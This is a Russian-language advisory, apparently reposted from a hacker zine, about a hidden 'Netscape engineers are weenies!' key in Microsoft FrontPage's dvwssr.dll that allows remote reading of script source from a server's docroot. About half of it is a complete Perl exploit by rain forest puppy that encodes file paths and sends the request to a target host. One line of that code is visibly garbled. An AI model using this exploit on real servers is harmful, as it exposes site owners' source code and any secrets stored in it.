|
очередные трюки MICROSOFT
Team Void
/ Обнаружено .r.f.p. / NT 4 Option Pack поставляется со скриптом ISAPI, расположенном в папке /_vti_bin/_vti_aut/ и называющемся dvwssr.dll, которая входит в состав Microsoft Frontpage Extensions (версия, которая имеется у автора - 3.0.2.1105). Этот скрипт позволяет осуществлять чтение исходных текстов скриптов, расположеных в docroot уязвимого хоста, если вам известен некий "пароль", который по иронии судьбы представлен фразой "Netscape engineers are weenies!".
Впервые автор сообщения, .r.f.p., получил информацию о странном приложении от Alfа Sererа. dvwssr.dll выглядел как какой-то бэкдор, и содержал строку "Netscape engineers are weenies!" (она содержится в DLL открытым текстом, только задом наперёд). R.F.P. заинтересовался этим фактом и решил расследовать данное подробнее. Итак, поиски по сайту Microsoft показали только одно - сама корпорация говорит об этом DLL как о средстве для "проверки URL". Итак, кроме этого не было обнаружено ни одного упоминания о странном ISAPI. Даже анализ самого FrontPage и прочих расширений не привёл к обнаружению ссылок на странный DLL. Позже автор узнал, что данный DLL требуется для работы приложению InterDev 1.0.
Итак, при более пристальном рассмотрении функций и версии данного DLL, входящего в состав FrontPage Extensions, можно сказать, что сами расширения имеют версию 3.0.2.1105, в то время как версия DLL - 1.00.00.2503A. Я думаю, что Microsoft включило данный DLL в комплект FronPage Extensions уже после скупки оного у Vemeer Technologies (а вы думали, какой смысл имеют префиксы _vti_ ? Само приложение выполняет довольно простые функции - оно берёт параметр, кодирует его по стандартному ключу в 62 байта "Netscape engineers are weenies!" и пытается открыть файл, расположенный в корне сервера и имеющий имя, полученное в результате процесса кодирования
Анализ распространённости данного DLL привёл к выводу, что реальной опасности не существует. И эффект, и популярность его значительно меньше, чем у того же RDS. Тем не менее демонстрационный эксплоит для чтения исходных текстов файлов из /docroot жертвы прилагается
#!/usr/bin/perl
# dvwssr.pl by rain forest puppy
# (only tested on Linux, as usual)
#
# Usage: dvwssr.pl target_host
# /file/to/retrieve/source
#
use Socket;
$ip=$ARGV[0];
$file=$ARGV[1];
print "Encoding to: ".encodefilename($file)."\n";
$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file)." HTTP/1.0\n\n";
print sendraw($url);
sub encodefilename {
my $from=shift;
my $slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
#
#
my $key="Netscape engineers are weenies!";
#
#
my $kc=length($from);
my ($fv,$kv,$tmp,$to,$lett);
@letts=split(//,$from);
foreach $lett (@letts){
$fv=index $slide, $lett;
$fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
$kv=index $slide, substr $key, $kc, 1;
if($kv>=0 && $fv>=0){
$tmp= $kv - $fv;
if($tmp <0){$tmp +=62;}
$to.=substr $slide, $tmp,1; } else {
$to.=$lett;}
if(++$kc >= length($key)){ $kc=0;}
}return $to;}
sub sendraw {
my ($pstr)=@_;
my $target;
$target= inet_aton($ip)
|| die("inet_aton problems");
socket(S,2,1,getprotobyname('tcp')||0)
|| die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target))
{
select(S); $|=1;
print $pstr; my @in=;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
duke.
|